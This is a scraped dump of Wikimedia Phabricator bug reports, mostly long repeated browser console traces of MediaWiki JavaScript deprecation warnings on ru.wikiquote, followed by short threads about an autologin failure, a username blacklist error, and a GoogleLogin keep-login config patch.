load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:122 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:123 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:124 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getload.php?debug=true&lang=ru&modules=site&only=scripts&skin=vector&*:126 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:7 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""addOnloadHook"" is deprecated. Use jQuery instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:23 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""appendCSS"" is deprecated. Use mediawiki.util instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:67 summaryButtonsindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:79 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgNamespaceNumber"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:85 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgNamespaceNumber"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:85 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""wgAction"" is deprecated. Use mw.config instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:112 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:5 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:6 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:7 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:8 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:9 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:2 addCustomButtonindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:11 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:14 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3143 fireload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3189 self.addload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:3423 jQuery.fn.readyload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:2863 jQuery.fn.initload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:73 jQueryindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:13 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:17 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""appendCSS"" is deprecated. Use mediawiki.util instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:ToolbarOld.js&action=raw&ctype=text/javascript:20 (anonymous function)
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:28 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
```",Medium,50.0,1422441927,1422442148.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-yvrh6rlz6ms7zj7a4a77,task_description,invalid,True,c3,1,True,True,True,-23,True,0.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,1.0,0.0,7.0,0.0,9.0,14.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,12.0,5.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.243243243243243,0.7162162162162162,"I have recently observed that, whenever I visit ru.wikiquote, I'm not logged in, while I'm logged in in dozens other Wikiquote subdomains (even never visited before) in the same Chromium window.

The only difference I can spot is that the console is full of deprecation errors, probably due to the recent deprecation galore and the following scripts:
``CODE`CODE`CODE``"
403816,Deprecation errors in JavaScript prevent autologin,"Nope, tried manual login and:
```
Ошибка опознавания участника 
<Запрещено использовать имя участника «Federico Leva (BEIC)». Имя соответствует следующей записи из чёрного списка: .*\(.+\)$ <newaccountonly> # Участник:%username%_(сексуалист)>
```",,,1422442148,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvrh6rlz6ms7zj7a4a77,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6153846153846154,0.7692307692307693,"Nope, tried manual login and:
``CODE``"
87675,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","If GoogleLogin replaces the MediaWiki login form, the user can not select ""keep login"" to hold his session for a longer time. There should be a config option, to handle the default value of keep login (e.g. enable keep login for all logins).

See: https://www.mediawiki.org/wiki/Thread:Extension_talk:GoogleLogin/Sessions_are_extremely_short-lived",Medium,50.0,1422390913,1423437156.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_description,resolved,True,c3,1,True,True,True,-23,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.7818181818181817,0.7636363636363637,"If GoogleLogin replaces the MediaWiki login form, the user can not select ""keep login"" to hold his session for a longer time. There should be a config option, to handle the default value of keep login (e.g. enable keep login for all logins).

See: URL"
408464,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189418 merged by jenkins-bot:
Add a config to force keep login

[[https://gerrit.wikimedia.org/r/189418]]",,,1423436452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.409090909090909,0.9090909090909091,"Change 189418 merged by jenkins-bot:
Add a config to force keep login

[[GERRIT_URL]]"
408463,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189417 merged by jenkins-bot:
Add a config to force keep login

[[https://gerrit.wikimedia.org/r/189417]]",,,1423436445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.409090909090909,0.9090909090909091,"Change 189417 merged by jenkins-bot:
Add a config to force keep login

[[GERRIT_URL]]"
408462,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189418 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[https://gerrit.wikimedia.org/r/189418]]

#patch-for-review",,,1423436418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8181818181818182,"Change 189418 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[GERRIT_URL]]

#patch-for-review"
408461,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189215 merged by jenkins-bot:
Add a config to force keep login

